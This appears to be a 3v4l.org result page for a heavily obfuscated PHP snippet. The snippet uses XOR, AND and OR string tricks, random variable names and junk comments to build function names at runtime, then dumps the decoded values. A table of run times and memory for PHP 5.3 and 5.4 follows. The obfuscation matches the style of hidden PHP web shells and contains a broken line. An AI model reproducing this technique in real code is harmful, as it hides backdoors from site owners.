3v4l.org

run code in 300+ PHP versions simultaneously
<?php $DHP='Ml0'^WFAVnH;$IK9wN='K]4'^'&)C';$WLd9UUD='j]T'&HVU;$YmYiRK='@'|P;$fF=E|Z;'R9I_'. 'vYm';$mXZ=C&q;$CEivtRVwy='og='&'of}';$vXpNod06p='~${rV^VHs[}'.MThn8.':{'./*T3'. '>sfD$vCdn<*/JJ_z_9YN.'{}cjy='&'~m?3'.dO_h.'['.U_KSo.'{:'.svKNWy_.#jeX4cc1hA2E'. '}rn{YQ[Zv';$QFi9xNfC_dz='Y~_^w;4/wwo/;]s^Wo?~;]m_b}'.imrz.'{X'&hA_Wu.#OkRXpwS'. '+v.o?'.omw_W.'^'.SKoy3Nn_u.'|_l/~oU';$PEY='1~5<t~o1}~}7s??6p>w{+?7k}vq7='&'3?'. '-<tf/e}m?9??}'.npvvr.'~{~}=w%w}';$L2Xo26Xdq=$IK9wN&$CEivtRVwy;$JJYL=(#KzwPDJg'. '$NN@B4'|'$'.JFQT3)^("C+*\$8@"|'@":08A');$pTXBhIgWS=$vXpNod06p^$QFi9xNfC_dz;/*'. ',<8NA*/$baq=('y{{n+?tu-s}vw|~~?e??|o{-|>hyz'&'}'.jumo.'~rtm;yue~}woo{'./*ngcG'. ']By{[g&9xZ*/szorb.'}z|{{')^$PEY;if($L2Xo26Xdq($JJYL($WLd9UUD.$YmYiRK.$fF./*dR'. '*$ew{wx6z*/$mXZ))==) {} var_dump($pTXBhIgWS); var_dump($JJYL); var_dump($baq); var_dump(get_defined_variables());

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.220.0120.04712.40
5.4.210.0110.04712.40
5.4.200.0120.04912.39
5.4.190.0150.04212.39
5.4.180.0100.04912.39
5.4.170.0140.04312.40
5.4.160.0180.04412.39
5.4.150.0090.04912.39
5.4.140.0140.04612.08
5.4.130.0130.04512.06
5.4.120.0100.04712.03
5.4.110.0120.04812.03
5.4.100.0150.04512.03
5.4.90.0110.04312.03
5.4.80.0170.03812.03
5.4.70.0100.04012.03
5.4.60.0090.04512.02
5.4.50.0110.04612.02
5.4.40.0180.04212.01
5.4.30.0120.04312.01
5.4.20.0100.04112.00
5.4.10.0070.04312.01
5.4.00.0120.03911.50
5.3.270.0090.04512.72
5.3.260.0120.04312.72
5.3.250.0100.04312.72
5.3.240.0150.03912.72
5.3.230.0060.04912.71
5.3.220.0110.04312.68
5.3.210.0120.04312.68
5.3.200.0120.04612.68
5.3.190.0140.04212.68
5.3.180.0120.04712.67
5.3.170.0120.04212.67
5.3.160.0120.04212.67
5.3.150.0120.04112.67
5.3.140.0110.04312.66
5.3.130.0100.04612.66
5.3.120.0120.04312.66
5.3.110.0130.04312.66
5.3.100.0140.04212.12
5.3.90.0130.04112.08
5.3.80.0110.04612.08
5.3.70.0120.04612.07
5.3.60.0160.04512.06
5.3.50.0140.04212.00
5.3.40.0120.04112.00
5.3.30.0150.04111.95
5.3.20.0130.04211.73
5.3.10.0120.04111.70
5.3.00.0150.04111.68

preferences:
141.86 ms | 1394 KiB | 7 Q